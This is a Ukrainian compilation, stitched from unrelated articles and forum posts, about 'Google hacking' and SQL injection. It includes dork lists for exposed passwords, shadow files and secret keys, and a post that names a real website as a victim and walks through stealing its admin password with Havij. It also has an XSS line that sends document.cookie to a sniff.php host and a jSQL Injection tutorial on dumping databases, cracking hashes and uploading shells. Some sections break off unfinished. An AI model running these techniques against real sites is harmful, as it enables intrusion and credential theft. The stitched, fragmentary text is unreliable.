Злом за допомогою Google

Alexander Antipov

Пошукова система Google (www.google.com) надає багато можливостей для пошуку. Всі ці можливості – неоціненний інструмент пошуку для користувача, що вперше потрапив в Інтернет і в той же час ще потужніша зброя вторгнення та руйнування в руках людей зі злими намірами, включаючи не тільки хакерів, а й некомп'ютерних злочинців і навіть терористів.
(9475 переглядів за 1 тиждень)


Денис Батранков
denisNOSPAMixi.ru

Увага:Ця стаття не є керівництвом до дії. Ця стаття написана для Вас, адміністратори WEB серверів, щоб у Вас пропало хибне відчуття, що Ви в безпеці, і Ви нарешті зрозуміли підступність цього методу отримання інформації та взялися за захист свого сайту.

Вступ

Я, наприклад, за 0.14 секунди знайшов 1670 сторінок!

2. Введемо інший рядок, наприклад:

inurl:"auth_user_file.txt"

трохи менше, але цього вже достатньо для вільного скачування та для підбору паролів (за допомогою того ж таки John The Ripper). Нижче я наведу ще низку прикладів.

Отже, Вам треба усвідомити, що пошукова машина Google відвідала більшість із сайтів Інтернету і зберегла в кеші інформацію, що міститься на них. Ця кешована інформація дозволяє отримати інформацію про сайт та вміст сайту без прямого підключення до сайту, лише копаючись у тій інформації, яка зберігається всередині Google. Причому якщо інформація на сайті вже недоступна, то інформація в кеші ще, можливо, збереглася. Все, що потрібно для цього методу: знати деякі ключові слова Google. Цей технічний прийом називається Google Hacking.

Вперше інформація про Google Hacking з'явилася на розсилці Bugtruck ще 3 роки тому. У 2001 році цю тему було піднято одним французьким студентом. Ось посилання на цей лист http://www.cotse.com/mailing-lists/bugtraq/2001/Nov/0129.html. У ньому наведено перші приклади таких запитів:

1) Index of /admin
2) Index of /password
3) Index of /mail
4) Index of / +banques +filetype:xls (for france...)
5) Index of / +passwd
6) Index of/password.txt

Нашуміла ця тема в англо-читальній частині Інтернету зовсім недавно: після статті Johnny Long, що вийшла 7 травня 2004 року. Для повнішого вивчення Google Hacking раджу зайти на сайт цього автора http://johnny.ihackstuff.com . У цій статті я хочу ввести вас у курс справи.

Ким це може бути використане:
- Журналісти, шпигуни і всі ті люди, хто любить пхати носа не в свої справи, можуть використовувати це для пошуку компромату.
- Хакери, що розшукують потрібні цілі для злому.

Як працює Google.

Для продовження розмови нагадаю деякі з ключових слів, які використовуються у запитах Google.

Пошук за допомогою знака +

Google виключає із пошуку неважливі, на його думку, слова. Наприклад запитальні слова, прийменники та артиклі в англійській мові: наприклад are, of, where. У російській мові Google, схоже, всі слова вважає важливими. Якщо слово виключається з пошуку, Google пише про це. Щоб Google почав шукати сторінки з цими словами перед ними, потрібно додати знак + без пробілу перед словом. Наприклад:

ace +of base

Пошук за допомогою знаку

Якщо Google знаходить велику кількість сторінок, з яких необхідно виключити сторінки з певною тематикою, можна змусити Google шукати тільки сторінки, на яких немає певних слів. Для цього треба вказати ці слова, поставивши перед кожним знак без пробілу перед словом. Наприклад:

рибалка-горілка

Пошук за допомогою знака ~

Можливо, що ви захочете знайти не лише вказане слово, але також його синоніми. Для цього перед словом вкажіть символ ~.

Пошук точної фрази за допомогою подвійних лапок

Google шукає на кожній сторінці всі входження слів, які ви написали в рядку запиту, причому йому не має значення взаємне розташування слів, головне щоб усі зазначені слова були на сторінці одночасно (це дія за умовчанням). Щоб знайти точну фразу – її треба взяти у лапки. Наприклад:

"підставка для книг"

Щоб було хоч одне із зазначених слів, потрібно вказати логічну операцію явно: OR. Наприклад:

книга безпека OR захист

Крім того, у рядку пошуку можна використовувати знак * для позначення будь-якого слова і. для позначення будь-якого символу.

Пошук слів за допомогою додаткових операторів

Існують пошукові оператори, які вказуються у рядку пошуку у форматі:

operator:search_term

Прогалини поруч із двокрапкою не потрібні. Якщо ви вставите пробіл після двокрапки, то побачите повідомлення про помилку, а перед ним, Google буде використовувати їх як звичайний рядок для пошуку.
Існують групи додаткових операторів пошуку: мови - вказують якою мовою ви хочете побачити результат, дата - обмежують результати за минулі три, шість або 12 місяців, входження - вказують у якому місці документа потрібно шукати рядок: скрізь, в заголовку, в URL, домени - здійснювати пошук за вказаним сайтом або навпаки виключити його з пошуку, безпечний пошук - блокують сайти, що містять вказаний тип інформації та видаляють їх зі сторінок результатів пошуку.
При цьому деякі оператори не потребують додаткового параметра, наприклад запит " cache:www.google.com" може бути викликаний як повноцінний рядок для пошуку, а деякі ключові слова, навпаки, вимагають наявності слова для пошуку, наприклад " site:www.google.com helpУ світлі нашої тематики подивимося на наступні оператори:

Оператор

Опис

Потрібний додатковий параметр?

пошук тільки за вказаним у search_term сайту

пошук тільки у документах з типом search_term

знайти сторінки, які містять search_term у заголовку

знайти сторінки, які містять усі слова search_term у заголовку

знайти сторінки, які містять слово search_term у своїй адресі

знайти сторінки, які містять усі слова search_term у своїй адресі

Оператор site:обмежує пошук лише за вказаним сайтом, причому можна вказати не лише доменне ім'я, але й IP адресу. Наприклад, введіть:

Оператор filetype:обмежує пошук у файлах певного типу. Наприклад:

На дату виходу статті Googlе може шукати всередині 13 різних форматів файлів:

  • Adobe Portable Document Format (pdf)
  • Adobe PostScript (ps)
  • Lotus 1-2-3 (wk1, wk2, wk3, wk4, wk5, wki, wks, wku)
  • Lotus WordPro (lwp)
  • MacWrite (mw)
  • Microsoft Excel (xls)
  • Microsoft PowerPoint (ppt)
  • Microsoft Word (doc)
  • Microsoft Works (wks, wps, wdb)
  • Microsoft Write (wri)
  • Rich Text Format (RTF)
  • Shockwave Flash (swf)
  • Text (ans, txt)

Оператор link:показує всі сторінки, які вказують на цю сторінку.
Напевно, завжди цікаво подивитися, як багато місць в Інтернеті знають про тебе. Пробуємо:

Оператор cache:показує версію сайту в кеші Google, як виглядала, коли Google востаннє відвідував цю сторінку. Беремо будь-який сайт, що часто змінюється, і дивимося:

Оператор intitle:шукає вказане слово у заголовку сторінки. Оператор allintitle:є розширенням – він шукає всі зазначені кілька слів у заголовку сторінки. Порівняйте:

intitle:політ на марс
intitle:політ intitle:на intitle:марс
allintitle: політ на марс

Оператор inurl:змушує Google показати всі сторінки, що містять в URL зазначений рядок. Оператор allinurl: шукає усі слова в URL. Наприклад:

allinurl:acid acid_stat_alerts.php

Ця команда особливо корисна для тих, хто не має SNORT – хоч зможуть подивитися, як він працює на реальній системі.

Методи злому за допомогою Google

Отже, ми з'ясували що, використовуючи комбінацію перерахованих вище операторів і ключових слів, будь-яка людина може зайнятися збором потрібної інформації та пошуком уразливостей. Ці технічні прийоми часто називають Google Hacking.

Карта сайту

Можна використовувати оператор site: щоб переглянути всі посилання, які Google знайшов на сайті. Зазвичай сторінки, що динамічно створюються скриптами, за допомогою параметрів не індексуються, тому деякі сайти використовують фільтри ISAPI, щоб посилання були не у вигляді /article.asp?num=10&dst=5, а зі слішами /article/abc/num/10/dst/5. Це зроблено для того, щоб сайт взагалі індексувався пошуковими системами.

Спробуємо:

site:www.whitehouse.gov whitehouse

Google вважає, що кожна сторінка сайту містить слово whitehouse. Цим ми користуємося, щоб отримати всі сторінки.
Є й спрощений варіант:

site:whitehouse.gov

І що найприємніше - товариші з whitehouse.gov навіть не дізналися, що ми подивилися на структуру їхнього сайту і навіть заглянули в кешовані сторінки, які завантажив Google. Це може бути використане для вивчення структури сайтів і перегляду вмісту, залишаючись непоміченим до певного часу.

Перегляд списку файлів у каталогах

WEB-сервери можуть показувати списки директорій сервера замість звичайних HTML сторінок. Зазвичай це робиться для того, щоб користувачі вибирали та завантажували певні файли. Однак у багатьох випадках адміністратори не мають на меті показати вміст директорії. Це виникає внаслідок неправильної конфігурації сервера або відсутності головної сторінки директорії. В результаті у хакера з'являється шанс знайти щось цікаве в директорії та скористатися цим для своїх цілей. Щоб знайти всі такі сторінки, достатньо помітити, що вони містять у своєму заголовку слова: index of. Але оскільки слова index of містять не тільки такі сторінки, то потрібно уточнити запит та врахувати ключові слова на самій сторінці, тому нам підійдуть запити:

intitle:index.of parent directory
intitle:index.of name size

Оскільки в основному лістинги директорій зроблено навмисно, то вам, можливо, важко буде знайти помилково виведені лістинги з першого разу. Але принаймні ви вже зможете використовувати лістинги для визначення версії WEB сервера, як описано нижче.

Отримання версії WEB-сервера.

Знання версії WEB сервера завжди корисно перед початком будь-якої хакерської атаки. Знову ж таки завдяки Google можна отримати цю інформацію без підключення до сервера. Якщо уважно подивитися на лістинг директорії, можна побачити, що там виводиться ім'я WEB сервера та його версія.

Apache1.3.29 - ProXad Server at trf296.free.fr Port 80

Досвідчений адміністратор може підмінити цю інформацію, але зазвичай вона відповідає істині. Таким чином, щоб отримати цю інформацію, достатньо надіслати запит:

intitle:index.of server.at

Щоб отримати інформацію для конкретного сервера, уточнюємо запит:

intitle:index.of server.at site:ibm.com

Або навпаки шукаємо сервери, що працюють на певній версії сервера:

intitle:index.of Apache/2.0.40 Server at

Ця техніка може бути використана хакером для пошуку жертви. Якщо у нього, наприклад, є експлойт для певної версії WEB сервера, він може знайти його і спробувати наявний експлойт.

Також можна отримати версію сервера, переглядаючи сторінки, які за замовчуванням встановлюються під час встановлення свіжої версії сервера WEB. Наприклад, щоб побачити тестову сторінку Apache 1.2.6, достатньо набрати

intitle:Test.Page.for.Apache it.worked!

Мало того, деякі операційні системи при встановленні відразу ставлять та запускають WEB сервер. При цьому, деякі користувачі навіть про це не підозрюють. Звичайно якщо ви побачите, що хтось не видалив сторінку за замовчуванням, то логічно припустити, що комп'ютер взагалі не піддавався будь-якій настройці і, ймовірно, вразливий для атак.

Спробуйте знайти сторінки IIS 5.0

allintitle:Welcome to Windows 2000 Internet Services

У випадку з IIS можна визначити не лише версію сервера, а й версію Windows та Service Pack.

Ще одним способом визначення версії WEB сервера є пошук посібників (сторінок підказок) та прикладів, які можуть бути встановлені на сайті за замовчуванням. Хакери знайшли багато способів використовувати ці компоненти, щоб отримати привілейований доступ до сайту. Ось тому потрібно на бойовому веб-сайті видалити ці компоненти. Не кажучи вже про те, що за наявністю цих компонентів можна отримати інформацію про тип сервера та його версію. Наприклад, знайдемо посібник з apache:

inurl:manual apache directives modules

Використання Google як CGI сканера.

CGI сканер або WEB сканер – утиліта для пошуку вразливих скриптів та програм на сервері жертви. Ці утиліти повинні знати, що шукати, для цього у них є цілий список вразливих файлів, наприклад:

/cgi-bin/cgiemail/uargg.txt
/random_banner/index.cgi
/random_banner/index.cgi
/cgi-bin/mailview.cgi
/cgi-bin/maillist.cgi
/cgi-bin/userreg.cgi

/iissamples/ISSamples/SQLQHit.asp
/SiteServer/admin/findvserver.asp
/scripts/cphost.dll
/cgi-bin/finger.cgi

Ми можемо знайти кожен із цих файлів за допомогою Google, використовуючи додатково з ім'ям файлу в рядку пошуку слова index of або inurl: ми можемо знайти сайти з уразливими скриптами, наприклад:

allinurl:/random_banner/index.cgi

Користуючись додатковими знаннями, хакер може використовувати вразливість скрипта і за допомогою цієї вразливості змусити скрипт видати будь-який файл, який зберігається на сервері. Наприклад, файл паролів.

Як захистити себе від злому через Google

1. Не викладайте важливих даних на WEB сервер.

Навіть якщо ви виклали дані тимчасово, ви можете забути про це або хтось встигне знайти і забрати ці дані поки ви їх не стерли. Не робіть так. Існує багато інших способів передачі даних, що захищають їх від крадіжки.

2. Перевірте свій веб-сайт.

Використовуйте описані методи для дослідження свого сайту. Перевіряйте свій сайт новими методами, які з'являються на сайті http://johnny.ihackstuff.com . Пам'ятайте, що якщо ви хочете автоматизувати свої дії, потрібно отримати спеціальний дозвіл від Google. Якщо уважно прочитати http://www.google.com/terms_of_service.html, то ви побачите фразу: Ви не можете автоматично приймати будь-які пошуки в Google's system без express permission in advance from Google.

3. Можливо, вам не потрібно, щоб Google індексував ваш сайт або його частину.

Google дозволяє видалити посилання на свій сайт або його частину своєї бази, а також видалити сторінки з кеша. Крім того ви можете заборонити пошук зображень на вашому сайті, заборонити показувати короткі фрагменти сторінок у результатах пошуку Всі можливості видалення сайту описані на стор. http://www.google.com/remove.html. Для цього ви повинні підтвердити, що ви дійсно власник цього сайту або вставити на сторінку теги

4. Використовуйте robots.txt

Відомо, що пошукові машини заглядають у файл robots.txt що лежить у корені сайту і не індексують ті частини, які позначені словом Disallow. Ви можете скористатися цим, щоб частина сайту не індексувалася. Наприклад, щоб не індексувався весь сайт, створіть файл robots.txt, який містить два рядки:

User-agent: *
Disallow: /

Що ще буває

Щоб життя вам медом не здавалося, скажу наостанок, що існують сайти, які стежать за тими людьми, які, використовуючи вищевикладені методи, розшукують дірки в скриптах і WEB серверах. Прикладом такої сторінки є

Додаток.

Трохи солодкого. Спробуйте самі щось із наступного списку:

1. #mysql dump filetype:sql - пошук дампів баз даних mySQL
2. Host Vulnerability Summary Report – покаже вам які вразливості знайшли інші люди
3. phpMyAdmin running on inurl:main.php - це змусить закрити керування через панель phpmyadmin
4. not for distribution confidential
5. Request Details Control Tree Server Variables
6. Running in Child mode
7. This report was generated by WebLog
8. intitle:index.of cgiirc.config
9. filetype:conf inurl:firewall -intitle:cvs - може кому потрібні кофігураційні файли файрволів? :)
10. intitle:index.of finances.xls - мда.
11. intitle:Index of dbconvert.exe chats – логи icq чату
12. intext:Tobias Oetiker traffic analysis
13. intitle:Usage Statistics for Generated by Webalizer
14. intitle:statistics of advanced web statistics
15. intitle:index.of ws_ftp.ini - конфіг ws ftp
16. inurl:ipsec.secrets holds shared secrets – секретний ключ – гарна знахідка
17. inurl:main.php Welcome to phpMyAdmin
18. inurl:server-info Apache Server Information
19. site:edu admin grades
20. ORA-00921: unexpected end of SQL command – отримуємо шляхи
21. intitle:index.of trillian.ini
22. intitle:Index of pwd.db
23. intitle:index.of people.lst
24. intitle:index.of master.passwd
25. inurl:passlist.txt
26. intitle:Index of .mysql_history
27. intitle:index of intext:globals.inc
28. intitle:index.of administrators.pwd
29. intitle:Index.of etc shadow
30. intitle:index.of secring.pgp
31. inurl:config.php dbuname dbpass
32. inurl:perform filetype:ini

  • "Hacking mit Google"
  • Навчальний центр "Інформзахист" http://www.itsecurity.ru - провідний спеціалізований центр у галузі навчання інформаційної безпеки (Ліцензія Московського Комітету освіти №015470, Державна акредитація №004251). Єдиний авторизований навчальний центр компаній Internet Security Systems та Clearswift на території Росії та країн СНД. Авторизований навчальний центр компанії Microsoft (спеціалізація Security). Програми навчання погоджені із Держтехкомісією Росії, ФСБ (ФАПСІ). Свідоцтва про навчання та державні документи щодо підвищення кваліфікації.

    Компанія SoftKey - це унікальний сервіс для покупців, розробників, дилерів та афіліат-партнерів. Крім того, це один з найкращих Інтернет-магазинів ПЗ в Росії, Україні, Казахстані, який пропонує покупцям широкий асортимент, безліч способів оплати, оперативну (часто миттєву) обробку замовлення, відстеження процесу виконання замовлення в персональному розділі, різні знижки від магазину та виробників ПЗ.

    І так, сьогодні я розповім про те, як без особливих знань чогось зламати щось. Кажу відразу, вигоди з цього мало, але все ж таки.
    Для початку треба знайти самі сайти. Для цього йдемо в google.com і шукаємо по доріг

    Inurl:pageid= inurl:games.php?id= inurl:page.php?file= inurl:newsDetail.php?id= inurl:gallery.php?id= inurl:article.php?id= inurl:show.php? id= inurl:staff_id= inurl:newsitem.php?num= inurl:readnews.php?id= inurl:top10.php?cat= inurl:historialeer.php?num= inurl:reagir.php?num= inurl:Stray- Questions-View.php?num= inurl:forum_bds.php?num= inurl:game.php?id= inurl:view_product.php?id= inurl:newsone.php?id= inurl:sw_comment.php?id= inurl: news.php?id= inurl:avd_start.php?avd= inurl:event.php?id= inurl:product-item.php?id= inurl:sql.php?id= inurl:news_view.php?id= inurl: select_biblio.php?id= inurl:humor.php?id= inurl:aboutbook.php?id= inurl:ogl_inet.php?ogl_id= inurl:fiche_spectacle.php?id= inurl:communique_detail.php?id= inurl:sem. php3?id= inurl:kategorie.php4?id= inurl:news.php?id= inurl:index.php?id= inurl:faq2.php?id= inurl:show_an.php?id= inurl:preview.php? id= inurl:loadpsb.php?id= inurl:opinions.php?id= inurl:spr.php?id= inurl:pages.php?id= inurl:announce.php?id= inurl:clanek.php4?id= i nurl:participant.php?id= inurl:download.php?id= inurl:main.php?id= inurl:review.php?id= inurl:chappies.php?id= inurl:read.php?id= inurl: prod_detail.php?id= inurl:viewphoto.php?id= inurl:article.php?id= inurl:person.php?id= inurl:productinfo.php?id= inurl:showimg.php?id= inurl:view. php?id= inurl:website.php?id= inurl:hosting_info.php?id= inurl:gallery.php?id= inurl:rub.php?idr= inurl:view_faq.php?id= inurl:artikelinfo.php? id= inurl:detail.php?ID= inurl:index.php?= inurl:profile_view.php?id= inurl:category.php?id= inurl:publications.php?id= inurl:fellows.php?id= inurl :downloads_info.php?id= inurl:prod_info.php?id= inurl:shop.php?do=part&id= inurl:productinfo.php?id= inurl:collectionitem.php?id= inurl:band_info.php?id= inurl :product.php?id= inurl:releases.php?id= inurl:ray.php?id= inurl:produit.php?id= inurl:pop.php?id= inurl:shopping.php?id= inurl:productdetail .php?id= inurl:post.php?id= inurl:viewshowdetail.php?id= inurl:clubpage.php?id= inurl:memberInfo.php?id= inurl:section.php?id= in url:theme.php?id= inurl:page.php?id= inurl:shredder-categories.php?id= inurl:tradeCategory.php?id= inurl:product_ranges_view.php?ID= inurl:shop_category.php?id= inurl:transcript.php?id= inurl:channel_id= inurl:item_id= inurl:newsid= inurl:trainers.php?id= inurl:news-full.php?id= inurl:news_display.php?getid= inurl:index2. php?option= inurl:readnews.php?id= inurl:top10.php?cat= inurl:newsone.php?id= inurl:event.php?id= inurl:product-item.php?id= inurl:sql. php?id= inurl:aboutbook.php?id= inurl:preview.php?id= inurl:loadpsb.php?id= inurl:pages.php?id= inurl:material.php?id= inurl:clanek.php4? id= inurl:announce.php?id= inurl:chappies.php?id= inurl:read.php?id= inurl:viewapp.php?id= inurl:viewphoto.php?id= inurl:rub.php?idr= inurl:galeri_info.php?l= inurl:review.php?id= inurl:iniziativa.php?in= inurl:curriculum.php?id= inurl:labels.php?id= inurl:story.php?id= inurl: look.php? ID= inurl:newsone.php?id= inurl:aboutbook.php?id= inurl:material.php?id= inurl:opinions.php?id= inurl:announce.php?id= inurl:rub.php?idr= inurl:galeri_info.php?l= inurl:tekst.php?idt= inurl:newscat.php?id= inurl:newsticker_info.php?idn= inurl:rubrika.php?idr= inurl:rubp.php?idr= inurl: offer.php?idf= inurl:art.php?idm= inurl:title.php?id= inurl:".php?id=1" inurl:".php?cat=1" inurl:".php?catid= 1" inurl:".php?num=1" inurl:".php?bid=1" inurl:".php?pid=1" inurl:".php?nid=1"

    ось невеликий списочок. Можете використати свої. Отже, ми знайшли сайт. Наприклад http://www.vestitambov.ru/
    Далі качаємо цю програму

    **Hidden Content: Для того, щоб цей content content our post count must be 3 or greater.**

    Тиснемо ОК. Потім вставляємо сайт жертву.
    Тиснемо старт. Далі чекаємо на результати.
    Так, програма знайшла SQL вразливість.

    Далі качаємо Havij, http://www.vestitambov.ru:80/index.php?module=group_programs&id_gp= вставляємо отримане посилання туди. Пояснювати як користуватись Havij і де качати не буду, знайти його не важко. Усе. Ви отримали потрібні вам дані – пароль адміністратора, а далі справа вже вашої фантазії.

    П.С. Це моя перша спроба щось написати. Вибачаюсь якщо що не так

    Я вирішив трохи розповісти про інформаційну безпеку. Стаття буде корисна програмістам-початківцям і тим, хто тільки-но почав займатися Frontend-розробкою. В чому проблема?

    Багато розробників-початківців так захоплюються написанням коду, що зовсім забувають про безпеку своїх робіт. І що найголовніше – забувають про такі вразливості, як запит SQL, XXS. А ще вигадують легкі паролі для своїх адміністративних панелей та піддаються брутфорсу. Що це за атаки та як можна їх уникнути?

    SQL-ін'єкція

    SQL-ін'єкція - це найпоширеніший вид атаки на базу даних, що здійснюється при SQL-запиті для конкретної СУБД. Від таких атак страждає багато людей і навіть великих компаній. Причина - помилка розробника під час написання бази даних і, власне, SQL-запросов.

    Атака типу застосування SQL можлива через некоректну обробку вхідних даних, що використовуються в SQL-запитах. При вдалому проходженні атаки з боку хакера ви ризикуєте втратити не тільки вміст баз даних, але й паролі та логи адміністративної панелі. А цих даних буде цілком достатньо, щоб повністю заволодіти сайтом або внести до нього необоротні корективи.

    Атака може бути успішно відтворена в сценаріях, написаних на PHP, ASP, Perl та інших мовах. Успіх таких атак більше залежить від того, яка використовується СУБД і як реалізований сам сценарій. У світі багато вразливих сайтів для SQL-ін'єкцій. У цьому легко переконатись. Достатньо ввести «доріжки» - це спеціальні запити щодо пошуку вразливих сайтів. Ось деякі з них:

    • inurl:index.php?id=
    • inurl:trainers.php?id=
    • inurl:buy.php?category=
    • inurl:article.php?ID=
    • inurl:play_old.php?id=
    • inurl:declaration_more.php?decl_id=
    • inurl:pageid=
    • inurl:games.php?id=
    • inurl:page.php?file=
    • inurl:newsDetail.php?id=
    • inurl:gallery.php?id=
    • inurl:article.php?id=

    Як ними користуватися? Достатньо ввести їх у пошукову систему Google або Яндекс. Пошуковик видасть вам не просто вразливий сайт, але й сторінку на цю вразливість. Але ми не будемо на цьому зупинятися і переконаємося, що сторінка справді вразлива. Для цього достатньо після значення "id=1" поставити одинарну лапку "'". Якось так:

    • inurl:games.php?id=1’

    І сайт нам видасть помилку про запит SQL. Що ж треба далі нашому хакеру?

    А далі йому потрібне це посилання на сторінку з помилкою. Потім робота над вразливістю здебільшого відбувається у дистрибутиві "Kali linux" з його утилітами з цієї частини: впровадження ін'єкційного коду та виконання необхідних операцій. Як це буде, я вам не можу сказати. Але про це можна знайти інформацію в Інтернеті.

    XSS Атака

    Цей вид атаки здійснюється на файли cookies. Їх, у свою чергу, дуже люблять зберігати користувачі. А чому ні? Як же без них? Адже завдяки Cookies ми не вбиваємо сто разів пароль від Vk.com чи Mail.ru. І мало тих, хто від них відмовляється. Але в інтернеті для хакерів часто фігурує правило: коефіцієнт зручності прямо пропорційний коефіцієнту небезпеки.

    Для реалізації XSS-атаки нашому хакеру потрібне знання JavaScript. Мова на перший погляд дуже проста і нешкідлива, тому що не має доступу до ресурсів комп'ютера. Працювати з JavaScript хакер може тільки в браузері, але цього достатньо. Адже головне ввести код на веб-сторінку.

    Детально говорити про процес атаки я не стану. Розповім лише основи та сенс того, як це відбувається.

    Хакер може додати на якийсь форум або гостьову книгу JS-код:

    Скрипти переадресують нас на заражену сторінку, де буде виконуватися код: будь то сніффер, якесь сховище або експлоїд, який так чи інакше викраде наші Cookies з кешу.

    Чому саме JavaScript? Тому що JavaScript відмінно ладнає з веб-запитами і має доступ до Cookies. Але якщо наш скрипт буде переводити нас на який-небудь сайт, то це легко помітить. Тут же хакер застосовує хитріший варіант - просто вписує код у картинку.

    Img=new Image();

    Img.src=” http://192.168.1.7/sniff.php?”+document.cookie;

    Ми просто створюємо зображення та приписуємо йому як адресу наш сценарій.

    Як уберегтися від цього? Дуже просто – не переходьте за підозрілими посиланнями.

    DoS та DDos Атаки


    DoS (від англ. Denial of Service - відмова в обслуговуванні) - хакерська атака на обчислювальну систему з метою привести її до відмови. Це створення таких умов, за яких сумлінні користувачі системи не можуть отримати доступ до системних ресурсів (серверів), що надаються, або цей доступ утруднений. Відмова системи може бути кроком до її захоплення, якщо у позаштатній ситуації ПЗ видає будь-яку критичну інформацію: наприклад, версію, частина програмного коду та ін. Але найчастіше це міра економічного тиску: втрата простої служби, яка приносить дохід. Рахунки від провайдера або заходи по відходу від атаки відчутно б'ють «мету» по кишені. В даний час DoS і DDoS-атаки найбільш популярні, так як дозволяють довести вщент практично будь-яку систему, не залишаючи юридично значущих доказів.

    Чим відрізняється DoS від DDos атаки?

    DoS це атака, побудована розумним способом. Наприклад, якщо сервер не перевіряє коректність вхідних пакетів, хакер може зробити такий запит, який буде оброблятися вічно, а на роботу з іншими з'єднаннями не вистачить процесорного часу. Відповідно, клієнти отримають відмову в обслуговуванні. Але перевантажити або вивести з ладу у такий спосіб великі відомі сайти не вдасться. У них на озброєнні стоять досить широкі канали та надпотужні сервери, які без проблем справляються з таким перевантаженням.

    DDoS – це фактично така ж атака, як і DoS. Але якщо в DoS один пакет запиту, то в DDoS їх може бути від сотні і більше. Навіть надпотужні сервери можуть не впоратися з таким навантаженням. Наведу приклад.

    DoS атака - це коли ти ведеш розмову з кимось, але тут підходить якась невихована людина і починає голосно кричати. Розмовляти при цьому або неможливо або дуже складно. Рішення: викликати охорону, яка заспокоїть та виведе людину з приміщення. DDoS-атаки – це коли таких невихованих людей вбігає багатотисячний натовп. У такому випадку охорона зможе всіх скрутити і відвести.

    DoS та DDoS виробляються з комп'ютерів, так званих зомбі. Це зламані хакерами комп'ютери користувачів, які навіть не підозрюють, що їхня машина бере участь в атаці якогось сервера.

    Як уберегти себе від цього? Загалом ніяк. Але можна ускладнити хакеру завдання. Для цього необхідно вибрати хороший хостинг із потужними серверами.

    Bruteforce атака

    Розробник може вигадати дуже багато систем захисту від атак, повністю переглянути написані нами скрипти, перевірити сайт на вразливість і т.д. Але коли дійде до останнього кроку верстки сайту, а саме коли буде просто ставити пароль на адмінку, він може забути про одну річ. Пароль!

    Категорично не рекомендується встановлювати простий пароль. Це можуть бути 12345, 1114457, vasya111 і т. д. Не рекомендується ставити паролі завдовжки менше 10-11 символів. Інакше ви можете зазнати найзвичайнішої і нескладної атаки - Брутфорсу.

    Брутфорс – це атака перебору пароля за словником із використанням спеціальних програм. Словники можуть бути різні: латиниця, перебір за цифрами скажемо до якогось діапазону, змішані (латиниця +цифри), і навіть бувають словники з унікальними символами @#4$%&*~~`'”\ ? та ін.

    Звичайно такого виду атаки легко уникнути. Досить вигадати складний пароль. Вас може врятувати навіть капча. А ще, якщо ваш сайт зроблено на CMS, то багато хто з них обчислює подібний вид атаки і блокує ip. Треба завжди пам'ятати, що більше різних символів у паролі, тим важче його підібрати.

    Як же працюють хакери? Найчастіше вони або підозрюють, або заздалегідь знають частину пароля. Дуже логічно припустити, що пароль користувача вже точно не складатиметься з 3 або 5 символів. Такі паролі призводять до частих зламів. В основному хакери беруть діапазон від 5 до 10 символів і додають туди кілька символів, які знають заздалегідь. Далі генерують паролі із потрібними діапазонами. У дистрибутиві Kali linux є програми для таких випадків. І вуаля, атака вже не триватиме довго, тому що обсяг словника вже не такий і великий. До того ж, хакер може задіяти потужність відеокарти. Деякі їх підтримують систему CUDA, у своїй швидкість перебору збільшується аж удесятеро. І ось ми бачимо, що атака у такий простий спосіб цілком реальна. Адже брутфорсу піддаються не тільки сайти.

    Дорогі розробники, ніколи не забувайте про систему інформаційної безпеки, адже сьогодні від подібних видів атак страждає чимало людей, зокрема й держав. Адже найбільшою вразливістю є людина, яка завжди може десь відволіктися або десь не доглядати. Ми — програмісти, але не запрограмовані машини. Будьте завжди напоготові, адже втрата інформації загрожує серйозними наслідками!

    Запустіть завантажений файл подвійним кліком (потрібно мати віртуальну машину).

    3. Анонімність під час перевірки сайту на SQL-ін'єкції

    Налаштування Tor та Privoxy у Kali Linux

    [Розділ у розробці]

    Налаштування Tor та Privoxy у Windows

    [Розділ у розробці]

    Налаштування роботи через проксі в jSQL Injection

    [Розділ у розробці]

    4. Перевірка сайту на SQL-ін'єкції з jSQL Injection

    Робота з програмою дуже проста. Достатньо ввести адресу сайту та натиснути ENTER.

    На наступному скріншоті видно, що сайт вразливий відразу до трьох видів SQL-ін'єкцій (інформація про них вказана в нижньому правому куті). Клікаючи на назви ін'єкцій можна переключити використовуваний метод:

    Також нам вже виведено наявні бази даних.

    Можна переглянути вміст кожної таблиці:

    Зазвичай найцікавішим у таблицях є облікові дані адміністратора.

    Якщо вам пощастило і ви знайшли дані адміністратора, то радіти рано. Потрібно ще знайти адмінку, куди ці дані вводити.

    5. Пошук адмінок з jSQL Injection

    Для цього перейдіть на наступну вкладку. Тут нас зустрічає перелік можливих адрес. Ви можете вибрати одну або кілька сторінок для перевірки:

    Зручність у тому, що не потрібно використовувати інші програми.

    На жаль, недбайливих програмістів, які зберігають паролі у відкритому вигляді, не дуже багато. Досить часто в рядку пароля ми бачимо щось на зразок

    8743b52063cd84097a65d1633f5c74f5

    Це хеш. Розшифрувати його можна брутфорсом. І… jSQL Injection має вбудований брутфорсер.

    6. Брутфорсинг хешей за допомогою jSQL Injection

    Безсумнівною зручністю є те, що не потрібно шукати інші програми. Тут є підтримка багатьох найпопулярніших хешей.

    Це не найоптимальніший варіант. Для того, щоб стати гуру в розшифровці хешей, рекомендується російською мовою.

    Але, звичайно, коли під рукою немає іншої програми або немає часу на вивчення, jSQL Injection з вбудованою функцією брут-форсу буде дуже доречним.

    Існують установки: можна задати які символи входять у пароль, діапазон довжини пароля.

    7. Операції з файлами після виявлення SQL-ін'єкцій

    Крім операцій з базами даних - їх читання та модифікація, у разі виявлення SQL-ін'єкцій можливе виконання наступних файлових операцій:

    • читання файлів на сервері
    • вивантаження нових файлів на сервер
    • вивантаження шеллів на сервер

    І все це реалізовано у jSQL Injection!

    Є обмеження – у SQL-сервера мають бути файлові привілеї. У розумних системних адміністраторів вони відключені і доступу до файлової системи отримати не вдасться.

    Наявність файлових привілеїв досить легко перевірити. Перейдіть до однієї з вкладок (читання файлів, створення шелла, завантаження нового файлу) і спробуйте виконати одну із зазначених операцій.

    Ще дуже важливе зауваження – нам потрібно знати точний абсолютний шлях до файлу з яким ми будемо працювати – інакше нічого не вийде.

    Подивіться на наступний скріншот:

    На будь-яку спробу операції з файлом нам відповідають: No FILE privilege(Немає файлових привілеїв). І нічого тут вдіяти не можна.

    Якщо натомість у вас інша помилка:

    Problem writing into [назва_каталогу]

    Це означає, що ви неправильно вказали абсолютний шлях, до якого потрібно записувати файл.

    Для того, щоб припустити абсолютний шлях, потрібно, як мінімум, знати операційну систему, на якій працює сервер. Для цього перейдіть до вкладки Network.

    Такий запис (рядок Win64) дає підстави нам припустити, що маємо справу з ОС Windows:

